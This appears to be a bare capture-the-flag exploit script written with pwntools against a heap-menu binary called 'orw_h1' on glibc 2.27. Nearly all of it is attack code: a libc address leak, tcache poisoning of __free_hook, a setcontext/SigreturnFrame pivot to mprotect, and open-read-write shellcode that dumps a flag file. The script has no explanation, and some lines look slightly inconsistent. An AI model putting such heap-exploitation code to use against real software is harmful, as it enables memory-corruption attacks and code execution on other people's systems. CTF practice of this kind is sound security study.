1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129
| from pwn import *
from ctypes import * from struct import pack from pwn import u64,p64
context(arch = 'amd64', os = 'linux', log_level = 'debug')
one_gadget=[0x4f2a5,0x4f302,0x10a2fc]
p = process('./orw_h1')
elf = ELF('./orw_h1') libc = ELF('libc-2.27.so')
def debug(): gdb.attach(p) pause()
def add(size,idx): p.sendlineafter(b'>>',b'1') p.sendlineafter(b'description:',str(size)) p.sendlineafter(b'Game description:',str(idx))
def delete(idx): p.sendlineafter(b'>>',b'2') p.sendlineafter(b'game index: ',str(idx))
def edit(idx1,idx2): p.sendlineafter(b'>>',b'3') p.sendlineafter(b'game index: ',str(idx1)) p.sendlineafter(b'Game description:',str(idx2))
def show(idx): p.sendlineafter(b'>>',b'4') p.sendlineafter(b'game index: ',str(idx))
def exit(): p.sendlineafter(b'>>',b'5')
add(0x80,'aaaa') add(0x130,'bbbb') add(0x130,'bbbb') for i in range(7): add(128) for i in range(3, 10): delete(i) delete(0) show(0)
p.recv() libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x3ebca0
free_hook = libc_base + libc.sym['__free_hook'] system = libc_base + libc.sym['system'] setcontext = libc_base + libc.sym['setcontext'] + 53
success("libc base:%s", hex(libc_base)) success("setcontext_53:%s", hex(setcontext)) success("free_hook:%s", hex(free_hook))
newexe = free_hook & 0xffffffffff000
shellcode1 = ''' xor rdi,rdi mov rsi,%d mov edx,0x1000
mov eax,0 syscall jmp rsi '''% newexe
frame = SigreturnFrame() framersp = free_hook+0x10 frame.rdi = newexe frame.rsi = 0x1000 frame.rdx = 7 frame.rip = libc.sym['mprotect']
shellcode2= asm(''' push 0x67616c66 mov rdi,rsp xor esi,esi push 2 pop rax syscall mov rdi,rax mov rsi,rsp mov edx,0x100 xor eax,eax syscall mov edi,1 mov rsi,rsp push 1 pop rax syscall ''')
delete(1) edit(1, p64(free_hook)) add(0x130) payload = p64(setcontext+53)+p64(free_hook+0x18)*2+asm(shellcode1) add(0x130, payload) edit(2, str(frame)) delete(2) p.sendline(shellcode2) p.interactive()
|